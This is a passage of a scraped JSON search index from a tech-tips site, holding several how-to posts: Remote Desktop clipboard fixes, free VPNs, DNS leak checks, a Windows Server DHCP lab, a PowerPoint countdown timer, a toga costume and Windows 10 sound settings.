click\u0026nbsp; Save\n  Step 5 : Wait a moment for the video cutting process to finish:\n  And here is our result after cutting the video:\n  So with just a few simple steps, we have successfully cut the video right on windows 10 without installing any other software. Hope you will find the article useful, wish you success!\nncG1vNJzZmismaXArq3KnmWcp51kvra1wqSjsmWTqsFuwsidnKhlmaN6uLXNnaawq11mfW7DyK2fqK2kYravv9Oao6Whnpx6orrYZqqonqSsrrOx\n","link":"/post/quickly-cut-video-in-windows-10-without-installing-any-software/","section":"post","tags":null,"title":"Quickly cut video in Windows 10 without installing any software"},{"body":"There are several ways to work around this depending on what you are copying and pasting.\nMethod 1: Logout your account and log back in If you used to copy paste normally before, but suddenly you can't copy anymore, even without changing any settings, it is most likely due to a faulty login session.\nTry logging out of your account on the server and then logging back in. If not, continue with the steps below.\nMethod 2: Change client settings Step 1. Right click on the RDP icon that you use to connect, then select Edit.\nStep 2. Select the Local Resources tab.\nStep 3. Check the Clipboard option. To enable file copy-pasting, select More… and go to step 4. If you only need to copy-paste the text and not the file, stop here and click OK.\n  Step 4. Select the Drives option. Click OK 2 times.\n  Method 3: Change server settings Windows Server 2016 In Windows Server 2016, these settings are controlled in Group Policy.\nStep 1. Launch gpedit.msc.\nStep 2. Navigate to Computer Configuration \u0026gt; Administrative Templates \u0026gt; Windows Components \u0026gt; Remote Desktop Services \u0026gt; Remote Desktop Session Host.\nStep 3. Make sure Do not allow Clipboard redirection is set to Not Configured or Disabled.\nWindows Server 2012 Step 1. Open Server Manager.\nStep 2. Select Remote Desktop Services.\nStep 3. Select Collections.\nStep 4. Select Tasks \u0026gt; Edit Properties.\nStep 5. In the Client Settings tab, make sure that Clipboard and Drive are enabled.\nWindows Server 2008 Step 1. Launch Remote Desktop Session Host Configuration from the server.\nStep 2. In Connections, right-click the connection and select Properties.\nStep 3. Select the Client Settings tab and make sure the Clipboard box is unchecked. If you want to allow file copy and paste, make sure Drive is unchecked. Click OK when finished.\n  Also note that if you've configured all of these settings correctly and things still don't work, you may need to restart the server or simply end the rdpclip process.\nThe above is all you need to enable file copy and paste to Remote Desktop. Hope this guide helps you.\nHope you are succesful.\nRemote Desktop ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddm7a5edOhnGadoqe8s3nToZitZZOWu6%2B702aZnmWTpL2qscNmmKecXaWutMDEnWSipqSkerW0xGapnqWfqbJusMSsoq2noGLApr%2FSoqan\n","link":"/post/steps-to-fix-the-error-that-cannot-be-copied-and-pasted-into-the-remote-desktop-session/","section":"post","tags":null,"title":"Steps to Fix the error that cannot be copied and pasted into the Remote Desktop session"},{"body":"By using the illusion reflection reflected through a mirror, glass or water . photographers have created \"real fake images\" that make the viewer have to think to distinguish.\nThe image of the tunnel reflected in the girl's eyeglasses surprised the audience.\n  A picture is really ridiculous, but when you turn 180 degrees, you will see the truth!\n  Flying saucers in the sky huh! No, this is just a mirror image of the steering wheel through a car window.\n  The mirror gave this girl a face of a man.\n  An impressive and magical photo capturing the image of the street reflected in a glass.\n  The floor was 'enchanted' so that the water droplets on the glass turned into soccer balls.\n  The opposite building looks weird and confusing when taken through the glass.\n  The reflection of the headset on a glass of water looked like a white fish was swimming.\n  A beautiful cup of coffee thanks to the reflection of the ceiling.\n  The streetlights reflected through the car windows make the car look like eyes are looking at you.\n  The leafless tree suddenly came back to life when reflected in the water.\n  Just the light reflected on the glass.\n  The pots have a smiling, lovely face due to the reflections from the pan on the aluminum.\n  The car is painted 2 unique red black huh! No, the red is just a mirror image of another car and it just so happens that it fits the black car.\n  The reflection of the sunset shadow made the building look like it was on fire.\n  The reflection of the light through the glass door made the dog's napping suddenly become 'magical'.\n  The glasses made the chimpanzee seem to be wearing a pair of clothes with the girl.\n  When reflected in the glass, the groom was replaced by a shark.\n  The magical scenery in the cave by the stalactites above is reflected on the water.\n  The reflection of the pizza oven through the glass door made many people think that the car parked outside was on fire.\n  ncG1vNJzZmismaXArq3KnmWcp51kwamxjJ%2BYpJ1dm66ssYysnKuhlah6sLKMoqSan5Woeqmt0maroZ1dpby1sc2toJqkXam8bq%2FArqqeZaaesrix0axkraddl7JusdetqZ6llaHGbrzOsJyrnqWh\n","link":"/post/the-fake-fake-series-of-images-has-the-potential-to-cause-viewers-to-be-extremely-powerful/","section":"post","tags":null,"title":"The 'fake fake' series of images has the potential to cause viewers to be extremely powerful"},{"body":"Whether you're looking for a more secure and private browsing experience or want to bypass geo-restrictions on content and pricing, a VPN is key.\nBut what if you don't have enough monthly budget to invest in a reliable VPN service? Don't worry, many reliable VPN providers offer free options that, while limited in features, are effective at keeping you safe online and hiding your physical location.\nThese are the best free VPNs for PC depending on your needs.\n1. Windscribe VPN   Windscribe is a Canadian VPN that is free to use on Windows, macOS, and Linux devices as a desktop app. As a browser extension, you can get Windscribe VPN on Mozilla Firefox, Google Chrome, Opera and Microsoft Edge.\nThe free version comes with 10GB of data renewed every 30 days, with access to 10 server locations. However, for content streaming on Hulu and Netflix, only UK and US servers work on the free version.\nTesting servers in Germany on SpeedTest, Windscribe VPN averaged 10Mbps, which is good enough for comfortable browsing.\nHowever, the US server - which is one of only two with access to Netflix and Hulu - has a speed of 3.2Mbps, higher than the 3Mbps Netflix recommends for standard quality streaming.\n2. ProtonVPN   ProtonVPN is a Swiss VPN that is offered for free on Windows, macOS, and Linux devices. With unlimited data and military-grade encryption, you can access geo-restricted content on YouTube, Netflix, Hulu, and Kodi.\nHowever, you will only have access to 3 server locations in Japan, the Netherlands, and the US.\nWith the Japanese server test on SpeedTest, ProtonVPN hit 15Mbps. But note that results may vary depending on server traffic.\n3. Betternet VPN   Betternet is an American VPN that is available for free on Windows and macOS PCs. You'll get 500MB of browsing data per day, which equates to 15GB per month.\nWith a privacy-friendly model that doesn't require a login, you can use the free version of Betternet VPN to access geo-restricted content in Netflix, Hulu, and YouTube on up to 5 devices. The biggest downside is the lack of server variety as only US servers are free.\nWith an average speed of 1.1Mbps, Betternet VPN is still a great choice for casual safe browsing online, but streaming high definition content won't be so smooth.\n4. ZenMate   ZenMate is a German VPN offered for free on Windows, macOS, and Linux devices. It also has browser extensions for Google Chrome, Mozilla Firefox and Opera.\nUsing the free version of ZenMate VPN, you get unlimited data and the ability to access geo-restricted content on YouTube, Hulu, Netflix, Spotify, and Amazon Prime. You will also have access to 4 server locations in the US, Hong Kong, Germany and Romania.\nIn speed testing on a US server, ZenMate clocked in at 2.4Mbps, just below the recommended speed for Netflix's standard quality streaming. However, ZenMate is still suitable for streaming music that is not available on Spotify in your region.\nSo which is the best free VPN for PC? All of the VPNs tested above are free to use indefinitely. There is no free trial that you have to renew.\nIf your main goal when using a VPN is to stream content and videos that are not available in your country, then Windscribe is the best choice with server locations available in 10 countries.\nHowever, for general browsing, Betternet VPN is the winning option, despite the limited choice of server locations in the free version. 15GB will also last you a long time if you avoid video content and only browse text or image based content.\nncG1vNJzZmismaXArq3KnmWcp51kxKm1wqFkoqtdqbWmecGeqq1llqeypnnVqaVmnp%2BnerGvjKKlZmpgZ38%3D\n","link":"/post/which-is-the-best-free-vpn-for-pc-in-2022/","section":"post","tags":null,"title":"Which is the best free VPN for PC in 2022?"},{"body":"The Domain Name Server (DNS) is responsible for resolving domains into the actual IP addresses to connect. When using a secure connection like a VPN tunnel, a DNS leak error occurs when DNS requests are sent over a normal (unencrypted) network instead of a secure tunnel.\u0026nbsp;\nDid you have a DNS leak? How to check for DNS leaks from a browser Check for DNS leaks with Torrent What can you do to prevent DNS leaks? Use a VPN client Use custom profiles VPN kill switch Firewall  How to check for DNS leaks from a browser There are several ways to check for DNS leaks. While many VPN services offer their own tools, one of the best ways is to use dnsleaktest.com. The tool is very simple and performs a series of tests that can help reveal leaks that don't appear all the time.\n1. When you first go to dnsleaktest.com , the tool will greet you, showing both your IP address and your location. You will also see two options. Choose Extended test .\n  Note : The IP address and location should match the VPN server, not your physical location. If you see your physical location there, check the VPN connection again.\n2. The site will try several requests to get information about the connection. After each request, it will list the number of DNS servers it can track.\n3. When the test is finished, the tool will list all the servers it finds along with their IP addresses and owners. You will only see the servers from your VPN host listed. If you see multiple different IPs, it is usually a sign that the DNS connection is leaking.\n The tool will list all the servers it finds along with their IP addresses and owners\nImportant Note : VPN providers often rent server space from other hosts, so the names may not match. Instead, pay attention to the IP address. They should match or at least match your external IP.\n4. If you've found yourself having a DNS leak, you can always try a new configuration, then go back to dnsleaktest.com and do as much testing as you need to to fix the problem.\nCheck for DNS leaks with Torrent Another case where an IP might leak (this is also the one where you want it to leak the least): Torrent. Because Torrents behave differently than regular web traffic, you cannot accurately test your connection to them by the same means. Instead, you will need another tool to check your IP Torrent.\nipMagnet  (http://ipmagnet.services.cbcdn.com/) allows you to use a magnet link to determine which IP address the torrent client is displaying to the world.\n1. Open a browser and go to ipMagnet. The tool is quite simple, but has everything you need to test your connection.\n Open a browser and go to ipMagnet\n2. First, you will notice your public IP address. That should be the VPN's IP. Select the \" Magnet link \" link on the page and get a unique magnet link to check.\nNote : It's best to right-click on it and copy the location without actually visiting.\n3. Open the torrent app of your choice and add the magnet link as a new torrent. Your client will start downloading from the link.\n4. In the meantime, turn your attention back to the browser. The ipMagnet page will start listing data from the connection. If not, select Update to force it to do so.\n The ipMagnet page will start listing data from the connection\n5. The IP address you see listed in the table of ipMagnet should be your VPN address. If not, you are experiencing a leak.\nWhat can you do to prevent DNS leaks? There are two main steps you can take to prevent a DNS leak. First and foremost, make sure your configuration is correct. This is not always in your hands and depends on how you connect, but do what you can.\nWhichever method you choose, you should always take precautions to make sure your VPN connection doesn't leak DNS information. It's imperative to check for and avoid DNS leaks as they can destroy everything you're trying to achieve using a VPN.\nUse a VPN client If you are using a client from your VPN service, make sure you always have the latest version. Keep track of whatever options you have, make sure they match your server, and don't have any noticeable errors. Some clients may even have explicit DNS options.\n  Use custom profiles For those who configure their own client, you can search and make sure your settings match the server. Also, try to download new configuration files from your VPN provider regularly to prevent options from becoming outdated and inaccurate. Mac and Linux users can also write OpenVPN programming and change the system DNS to only use the VPN and revert when you disconnect. Some Linux distributions provide these scripts.\nVPN kill switch There's another option if you're serious about preventing a VPN leak. You can use the VPN kill switch to completely turn off your Internet access when you're not connected to the VPN. Some client software includes a kill switch. Check the client's settings to see if you have any. All settings are usually easy with a checkmark in the corresponding box.\nFirewall The firewall can also act as a VPN kill switch. Firewalls can be set up to block all connections outside of the VPN and local network. A firewall option is not for everyone and is not always the easiest, but can be most reliable.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsecCnm2aema16pbrSZqOemZtisrO%2BzqtkoqZdq72v\n","link":"/post/how-to-check-and-fix-dns-leak-error-in-vpn/","section":"post","tags":null,"title":"How to check and fix DNS leak error in VPN"},{"body":" Lifeproof cases are accessories made for outdoor use electronics, including phones and tablets. These products are made to resist water and falls in the roughest terrain. Still, your Lifeproof case does accumulate grime and wear down over...\nPart 1of 4:\nCleaning the Exterior  Wipe small stains off with a cloth. During daily use, you won't want to do a deep cleaning every time your case accumulates dirt or dust. In these cases, use a soft cloth. Get the cloth damp with warm water then use it to wipe off the surface debris.[1] Don't clean with rough pads or brushes. These scrape the cases.   Rinse off dirty water. Immediately after exposing the case to non-fresh water, including soap, chlorine-treated pool water, or seawater, return the case to a faucet. Use cool or lukewarm water to rinse the entire case so the non-fresh water does not abrade it. Rinsing this way protects the case when you don't have time to clean with soap. Unless you plan on cleaning out the inside of the case and are sure the seal is secure, you do not need to remove your phone.   Wash with soap. First, ensure all the ports are closed. Apply a mild dish soap and rinse it off under warm water in a sink. Perform this deeper cleaning whenever you see deeper stains that don't come off with rinsing or at least every three months when you are supposed to perform a water seal test.[2] Never clean with bleach or abrasive cleaners or polishes.   Dry the case. Shake off excess moisture. For speedier drying, gently wipe the case with a soft cloth. Otherwise, leave the case out on a paper towel away from direct sunlight. Only use a microfiber cloth on the screen so the screen doesn't get scratched.\n Part 2of 4:\nWashing the Interior  Remove your phone. Use the plastic pick that came with the Lifeproof case to wedge apart the halves from one of the corners. If you don't have the pick on hand, use a coin. Place your phone far away so it doesn't get wet.\n  Rinse with soap and water. Again, apply a mild dish soap directly to the case. Spread it around with your finger or a cloth. With the empty case, place it in a lukewarm water bath or rinse it under the faucet. Make sure to get loose any dirt in the corners or in the ports.\n  Dry the case halves. Shake off as much moisture as you can, then wipe it down with a soft cloth. For slower air drying, leave the halves out on paper towels away from direct sunlight. Avoid using fluffy towels, as these can introduce lint that affects the phone or the seal.[3]\n Part 3of 4:\nTesting the Water Seal  Remove your phone. The seal test should be done before water exposure, after a bad fall, or every three months otherwise. This tests the case's ability to keep out water, so if you haven't removed your phone already to clean the case, do it now.[4]\n  Submerge the case. Make sure the case is closed, including the charge port. Hold the case underwater for up to 30 minutes. You can place something heavy on top of the case in order to keep it underwater.[5]\n  Wipe off the outside. Once the 30 minutes are up, clean off the outside of the case only. Use a soft cloth. Make sure all the water is gone so none of it gets inside.\n  Open up the case. Use the plastic key or a coin to wedge open the corner of the case. Separate the halves of the case. Check them thoroughly for any sign of leaks. If the case is completely dry, you are free to put your phone back inside.\n Part 4of 4:\nSealing the Phone  Check the ports. The charge port, camera ring, and headphone jack on both the case and phone accumulate dirt. Whenever you open them or notice dirt, it is a good idea to use a soft cloth. Remove the dirt as soon as you notice it to prevent it from spreading inside the phone or case.\n  Wipe your phone's surfaces. Lifeproof cases come with a microfiber cloth, but these can also be found at a general retailer. Only use cloth that is good for eyeglasses, jewelry, and electronics, as these won't scratch the screen. Make sure the cloth removes all dirt and dust before you put your phone or tablet in the case.[6]\n  Close the case. Lay your device in the bottom of the case. Place the top part of the case over it, then run your finger around the edges to snap it in place. Before you finish, check to see if you got all the dirt, dust, and lint. Any spots you miss will be amplified on the screen or stick in the charge and camera ports. Undo the case and remove the debris.[7]\n  Samuel Daniel Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpucmq6vecBmo6KelaW%2FsLvFZpqaq5U%3D\n","link":"/post/how-to-clean-a-lifeproof-case/","section":"post","tags":null,"title":"How to Clean a Lifeproof Case"},{"body":" Dynamic Host Configuration Protocol (DHCP) offers several benefits for managing network properties, such as assigning an IP address to a DHCP client, and when the client no longer exists on the network, the DHCP server may assign the...\nPart 1of 4:\nInstalling the DHCP Server Add Roles and Features. Boot w12r2a10, if it is not running. Log on to the server when it completes booting. Notice that Server Manager is displayed upon a successful login using the Administrator account at the console logon prompt. Click Add Roles and features to display Add Roles and Features Wizard, Before you begin; it is this wizard that helps you manage roles, role services, and features. Click Next to display Select Installation Type.  Review Select Installation Type options. Note that this is a role-based and feature-based installation. Click Next to display Select destination server.  Choose a Destination Server. Note that this selection lets you select the server on which you want to do the installation. However in this example, there is only one server so there is only one option. Click Next to display Server Role and Feature Wizard so you can make a server role selection.  Select roles. Note that you can highlight a name in the center pane, so you can read the description in the right pane. Click the checkbox next to DHCP Server. Click Next to display Add Roles and Features.  Select features. Observe this popup is informing you that for DHCP Server to be installed, additional features, not already on the machine, needs to be installed. Click Add Features, the popup disappears, and you are shown the DHCP Server checkbox checked. Click Next to display a list of features from which you can select. Note that in this step no additional selection is needed. Click Next to display a screen that gives an overview of DHCP Server. Click Next to display the Confirmation installation selections.  Review the Confirmation installation selections. Observe the confirmation step, gives you a chance to make changes to the items previously configured, or continue to accept the selection. Click install. Click Close when it completes. Move on to Configure DHCP Server, and keep learning.  Part 2of 4:\nConfiguring the DHCP Server In this part you will use DHCP Manager to configure DHCP Server.\nStart DHCP Manager  Click Start, the Windows logo bottom left. Click Administrative Tools. Double click DHCP to display DHCP Server root.   Expand w12r2a10.kim.com to display DHCP branches.    Create scope name  Expand IPv4 to display a list of folders.   Right click IPv4. Click New scope to display the New scope wizard.   Click Next to display Scope Name.   Type net17216150, in Name. Type Scope for 17216150 subnet, in Description. Click Next to display IP Address Range.    Specify IP Address Range, the range of addresses to allocate  Type 172.16.150.1 In Configuration settings for DHCP server, Start IP address. Type 172.16.150.100 In End IP address. Change Length to 24 in Configuration settings that propagate to DHCP clients. Click Next to display Add Exclusions and Delay, leave the default. Click Next to display Lease Duration, leave the default. Click Next to display Configure DHCP Options.   Click No, I will configure these options later, because in this example, there are no additional parameters to configure. Click Next on Completing the New Scope Wizard. Click Finish to display Authorize the DHCP Server.  Authorize the DHCP  Note that you can widen the left pane by dragging the divider.   Right click your DHCP Server root, w12r2a10.kim.com, and click Authorize DHCP, if necessary. Right click your DHCP Server root, w12r2a10.kim.com, and verify it says Unauthorize.  Activate Scope  Expand IPv4, If necessity in the left pane. Click Scope[172…] to display Contents of Scope. Click each item under IPV4 and view it in the center pane. Notice that there are populated and unpopulated ones. Right click Scope[172…] Click Activate. Right click Scope[172…] Notice it says Deactivate.  Part 3of 4:\nTesting the DHCP Server Allocation In this part, you will reconfigure w7a15 to be a DHCP client and verify that the DHCP Server assigns it an IP address and subnet mask. You will also test the server using release and renew.\nVerify w7a15 static address. Power on w7a15, if it is off. Type ipconfig, to see the IP settings you configured at the start of the lab. Ping 172.16.150.10, which should be successful.  Verify w7a15 dynamic address  Reconfigure IP settings to Obtain an IP address automatically. Type ipconfig and verify a valid address is displayed and it is not .15. Type ipconfig/release, if not valid. Type ipconfig/renew, which displays a valid address that is not .15. Go to DHCP Manger on w12r2a10 and verify that w7a15 is listed in Address Leases. Right click the white area and click Refresh, if w7a15 is not listed.  Part 4of 4:\nConfiguring and Testing DHCP Optional Parameters Configure DHCP Exclusions. Click Address Pool and notice the address range you allocated is listed Right click Address Pool Click New Exclusion Range Note that you can configure a range of addresses or single addresses neither or both Type 172.16.150.1 in Start IP address and 172.16.150.30 in End IP address Click Add. Click Close. Click File. Click Exit.  Verify DHCP Exclusions. Type ipconfig and verify a valid address is displayed. Type ipconfig/release. Go to DHCP Manger on w12r2a10 and verify that w7a15 is not listed in Address Leases. Right click the white area and click Refresh, if w7a15 is listed. Type ipconfig/renew, which displays a valid address that is greater than .30. Go to DHCP Manger on w12r2a10 and verify that w7a15 is listed in Address Leases. Right click the white area and click Refresh, if w7a15 is not listed.  Configure DHCP options for DNS server. Type ipconfig/all. Take a screenshot of the result and save it. Verify that the IP address for the DNS server is not displayed. Type ping kim.com which should not be successful. Notice that this fails, because the DNS server is unknown to w7a15. Expand Scope on w12r2a10. Right click Scope Options. Click Configure Options. Click checkbox 006 DNS Server, in Available Options. Type w12r2a10 Server name. Click Resolve to populate the IP address field. Click Add. Click OK. Type ipconfig/release. Type ipconfig/renew. Type ipconfig/all. Compare this display with the one you previously captured, and notice that the DNS server is shown.   Samuel Daniel Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmqimlp60tr7EZpinnF2psrTAjLCgp5yfrMBuv8SrrZ6qXWd9cn6Mq2lmq5mjtK2xjKysm6aVqXqltMKpZKydoquysw%3D%3D\n","link":"/post/how-to-install-configure-and-test-windows-server-2012-r2-single-subnet-dhcp-server/","section":"post","tags":null,"title":"How to Install, Configure, and Test Windows Server 2012 R2 Single Subnet DHCP Server"},{"body":"You are looking for a way to make a countdown timer in Powerpoint to apply to your teaching presentation more vividly. So please follow the article below to learn how to make a countdown timer in Powerpoint.\n  Here TipsMake.vn will show you how to make a countdown timer in PowerPoint, please refer.\nStep 1 : Create the Start button .\nChoose Insert -\u0026gt; Shapes, select the image you want to add as a Start button .\n  Next draw shapes on the slide then add and edit the word Start .\n  Step 2: Create two circles for rotation\nSelect Insert -\u0026gt; Shapes -\u0026gt; select the oval.\n  Hold Shift to draw a circle, as small as you like.\n  Next copy the circle by holding down Ctrl and holding down the left mouse button and dragging the mouse cursor, so you will get 2 equal circles.\n  Minimize the second circle and drag inside the first circle, then choose Format and change the color for the second circle in Shape Fill.\n  Step 3 : Create a rotating effect for 2 circles.\nSelect two circles (hold down the Shift key to select multiple shapes), then select the Animations tab -\u0026gt; select the Wheel effect in the Entrance .\n  In the Animations tab, select Animation Pane to display Animation Pane on the right side of PowerPoint interface.\n  Since the countdown from 5 and the rotation is 1 second, you need to set the rotation to 5 times and the time is 1 second by selecting the two effects names in the Animation Pane section and selecting the black triangle icon and selecting Timing .\n  The effect name window appears, in the Timing tab you choose Duration is 1 seconds (Fast), Repeat is 5.\n  In addition, when you press the Start button , it will start to rotate so you need to set the Triggers by selecting Triggers and selecting the Start effect on click of is [ Start button name ]. After setup is complete you click OK .\n  Step 4: Insert the textbox\n1. Add textbox number 5\nSelect Insert -\u0026gt; Textbox.\n  Then you insert the textbox enter the number 5 and edit the font size, text color arbitrary.\n  Display effect:\nChoose No. 5, select Animations tab and select display effect number 5 in the Entrance section, for example choose Appear effect .\n  Thus, the display effect number 5 will appear on the right in the Animation Pane , you can set this effect by selecting the effect name in the Animation Pane section and editing in the Animations tab with Start: With Previous.\n  Next, assign Triggers by selecting Animations -\u0026gt; Trigger -\u0026gt; On click of -\u0026gt; Start button name.\n  After clicking Start , the wheel displays the number 5 and so you will set the disappearance effect for the Start button by selecting the Start button -\u0026gt; Animations -\u0026gt; selecting the effect in Exit.\n  Select the effect name in the Animation Pane section , set it in the Animations  Start With Previous tab , and assign the trigger by selecting Trigger -\u0026gt; On Click of -\u0026gt; the Start button name.\n  Next you create the disappearance effect of number 5 by selecting textbox number 5 and selecting Animations -\u0026gt; Add Animation -\u0026gt; select the  Disappear effect in the Exit section .\n  Select the name just added effects and set in the card animations , select Start is with Previous , because the number 5 appears after 1 second will disappear should you set Delay is 1 seconds.\n  Next, assign the trigger by selecting Trigger -\u0026gt; On click of -\u0026gt; Start button name.\n  So when clicking Start , the rotation and the number 5 are displayed, when at the end of a second, the number 5 will disappear.\n2. Add textbox number 4\nAdd the number 4 textbox similar to the textbox number 5, and you also set the effect for the textbox number 4 with Start with previous , assign Trigger as the Start button name , delay of the existing effect. With the disappearance effect of textbox 4 you also choose Start with previous , assign Trigger as the Start button name and delay of the disappear effect. But you can do it quickly by copying the textbox number 5 as follows:\nSelect number 5, press and hold Ctrl and left click and drag to copy.\n  When copying, the effect appears and disappears will be copied, you edit the name to No. 4 then set the delay for the current effect and the disappearing effect. Because immediately after the number 5 disappears, the number 4 will appear, so the delay of the effect of number 4 is 1 second, you select the effect name of the textbox number 4 and enter the number 1 in the delay of the Animations card .\n  The number 4 appears after 1 second of the number 5 and appears 1 second will disappear, so the number 4 after 2 seconds from the start press will disappear. You select the disappearance effect name of the number 4 and select the Animations tab , enter the delay is 2.\n  Select the names of the two effects of textbox number 4 and select Animations -\u0026gt; Trigger -\u0026gt; On click of -\u0026gt; the Start button name to assign triggers to the two effects of textbox number 4.\n  3. Add textbox 3, 2, 1\nYou do the same as adding textbox number 4, and set the effect for the textbox with Start with previous , assign Trigger as the Start button name , delay of the current effect of the textbox number 3, 2, 1 is 2 seconds, 3 seconds, 4 seconds.\nWith the disappearing effect, you also choose Start with previous and delay of the disappearing effect for textboxes 3, 2, 1 respectively 3 seconds, 4 seconds, 5 seconds. If you copy from another textbox, then you just need to fix the delay and assign the trigger to the name of the  Start button of the two effects of that textbox.\n  You can copy and add the number 0, select the black triangle icon next to the effect name disappears -\u0026gt; Remove to remove the effect.\n  Next you set the effect for the number 0 with Start is With Previous , delay is 5 seconds and assign triggers -\u0026gt; On click of -\u0026gt; Start button name.\n  Step 5: Edit the position of components on the slide\nAfter creating, select all the textboxes, then select Format -\u0026gt; Align -\u0026gt; Align Center.\n  Then drag to the center of the circle, and drag the Start button to the middle of the circle.\n  So you've created the countdown timer, press F5 and see the results. You can download the countdown sample file here: file-mau-how-to-do-ho-dem-power-in-powerpoint-TipsMake.vn.pptx\nAbove the article has guided you how to make a countdown timer in Powerpoint. Hope you will learn thoroughly and can create yourself a countdown timer in Powerpoint slide. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJurYycpq6mpJm8uLqMraCmnaJitq95z6iunqqgpLavwA%3D%3D\n","link":"/post/how-to-make-a-countdown-timer-in-powerpoint/","section":"post","tags":null,"title":"How to make a countdown timer in PowerPoint"},{"body":" A Greek goddess costume is a very fun and creative costume that you can easily make at home. Making a Greek goddess costume won't take too much time, and can be made with supplies you may already have at home (or supplies that are...\nPart 1of 3:\nMaking a Toga out of Fabric  Make your own traditional looking toga using a sheet of fabric. Use a large sheet of white or tan fabric. You can also use a bed sheet if you don't have a large sheet of fabric. You won't need to sew your toga, you'll just have to tie the corners of the sheet in a knot. Use a fabric that is not too stiff. A fabric that flows or drapes will help create the draped look of a toga. If you're worried about modesty or warmth, you can always wear a white top and white bottoms underneath your toga.[1]   Hold your sheet so that it is sideways. The longer length of the sheet should be horizontal when you're ready to wrap your sheet around your body. Hold the sheet so that it is against your back. Once your sheet is in place, wrap it length wise around your body with the top end of the sheet just under your armpits. If the sheet is too long, fold the top over a few inches to make your sheet your desired toga length.   Wrap the right end of your sheet around the front of your body and around to your back. Reach around your back to pull the sheet corner across your back and over your right shoulder. This will serve as the strap of your toga. (Most togas usually have a strap over just one shoulder). Hold this corner in place while you continue to wrap the other end of your sheet around your body.[2]\n  Finish making the toga. Wrap the left end of the sheet around your entire body one time. Once the end of the sheet is back in the front of your body, pull the left corner of the sheet toward your right shoulder and tie it in a knot with the right corner of the sheet. Double knot the sheet corners to make sure your toga strap is secure. Tuck the ends of the corners into the knot or into the fabric so that they are no longer showing. Look at Make a Toga out of a Bedsheet for detailed instructions on multiple ways to make togas.[3]  Part 2of 3:\nMaking a Crown  Collect the supplies you'll need to make your crown. Many Greek goddesses wore a crown or headpiece of some kind, and adding a crown to your costume will help distinguish it from a generic Greek toga costume. You'll need something to be a thin headband – this can be a piece of string, wire, thin elastic, or thin rope. You'll also need fake leaves and scissors. Getting gold spray paint is optional but not necessary. If you don't own these supplies, they can be purchased online or at any local craft store (such as Michael's). If you find a piece of fake vine while shopping for supplies, the vine itself will work as your Greek goddess headband. Simply cut it to the proper length and tie the ends so that it fits on your head.   Cut your headband material so that it is the right length to fit around your head. Make sure to leave enough room at each end of your headband material so that the ends can be tied together. You'll want your headband to be loose enough to easily take on and off, but tight enough so that it won't fall off.\n  Add leaves to your headband. Take your scissors and cut tiny holes in the center of your plastic leaves. After you've cut the small holes in your leaves, slide them onto your headband one at a time. Some people like to add tons of leaves, and some people like to add just a few – it is completely up to you. Once you've added all of your leaves to your headband, tie the ends of your headband to finish your crown.   Spray paint your crown gold if you'd like it to be gold. Set your crown on top of old newspaper or paper towels so as not to get spray paint on any furniture. Continue to spray paint the crown until it is completely gold. Allow the spray paint to dry 10-15 minutes before you put it on your head. Let the paint dry while you add the finishing touches to your costume.  Part 3of 3:\nCompleting the Look  Tie a belt around your toga. Instead of a modern belt, use a piece of rope, or gold fabric / string as your belt. Wrap the material around your waist a few times before tying it in a knot to add to the layered look. This will give you a more authentic looking costume. Tie your belt in a knot rather than a bow.\n  Wear the right shoes to enhance your outfit. If you want to look like a Greek goddess, then you must wear the proper shoes. Don't wear boots or sneakers. Instead, wear gladiator sandals, or even strappy sandals. Ideally, your sandals should be gold or tan in color. If you don't own gladiator sandals but want to get the gladiator sandal look, get some extra string or ribbon and wrap it up around your calves, tying it just below your knees.   Add the right accessories to your costume to complete the Greek goddess look. Accessories always make the outfit, whether for a costume or real life. Once you've added your accessories, you'll have a beautiful costume good enough to win you first place at any costume party. These accessories can include gold bracelets, gold rings, gold earrings, gold arm cuffs, and gold broaches to pin onto your toga. Finish your look with wavy hair and natural looking, shimmery makeup.   Customize your look to be a specific Greek goddess. For example, carry a small instrument if you want to be a Muse. Or, carry the trademarks of the famous Greek goddesses. Aphrodite could carry a dove (fake birds are usually available at most craft stores) or hand mirror, Artemis a hunting bow or long knives, and Athena would wear a battle helmet rather than a crown - she also has a shield with Medusa on it, the Aegis, but that would be harder - and a spear might be perfect for her, too.\n sheet gold  Marvin Fry Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJurYyqrKKbm2K0s7HEpGSgp5SZsrS%2FjJymrKylorI%3D\n","link":"/post/how-to-make-a-quick-greek-goddess-costume/","section":"post","tags":null,"title":"How to Make a Quick Greek Goddess Costume"},{"body":" This wikiHow teaches you how to search for files by their content instead of just their titles on a Windows computer. You can easily do this on a case-by-case basis by using a folder's search bar, or you can enable content searching for...\n Jessica Tanner Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJuw8inm6ivo2KEbr%2FEmqmcoF2btq2xjJymp6yVo8G0\n","link":"/post/how-to-make-windows-7-search-file-contents/","section":"post","tags":null,"title":"How to Make Windows 7 Search File Contents"},{"body":"Sound is not something that users often care about but in Windows 10 there are many options to adjust, manage and improve sound quality. This article will give you some tips and tricks to increase the audio experience on Windows 10.\nHow to manage and improve sound quality in Windows 10 1. Change sound effects 2. Download the theme with Windows 10 audio 3. Adjust the sound for each application 4. Quickly convert audio equipment 5. Update the audio driver 6. Turn on the audio upgrade feature 7. Adjust Equalizer audio on Windows 10 8. Use software to enhance sound for Windows 10 9. Other Windows 10 audio settings 1. Change sound effects You can customize all sounds in Windows for a personal experience. To do this, press the Windows + I key combination to open Settings and navigate to Personalization\u0026gt; Themes\u0026gt; Sounds . Alternatively, you can access the Sound window by right-clicking on the speaker icon on the taskbar tray and clicking on Sounds .\n  Windows 10 only comes with two audio settings: Windows Default and No Sounds . When you download multiple schemes and themes, it will be available in the Sound Scheme drop-down menu.\nYou can change each sound for each program on your computer by using the event list in the second drop-down menu. Select the original sound from the list or click Browse to select another audio file from the computer.\n  After changing it, click Save As and rename this sound scheme.\nNote : The sound used in Windows 10 operating system must be in WAV format. If you have an audio file saved in MP3, WMA or other format, you need to convert it to WAV before use.\n2. Download the theme with Windows 10 audio If you want to create a completely custom sound scheme in Windows 10, you need to change each sound to the desired output manually.\nPerhaps the better way to customize sound on Windows 10 is to use a theme. Many themes in 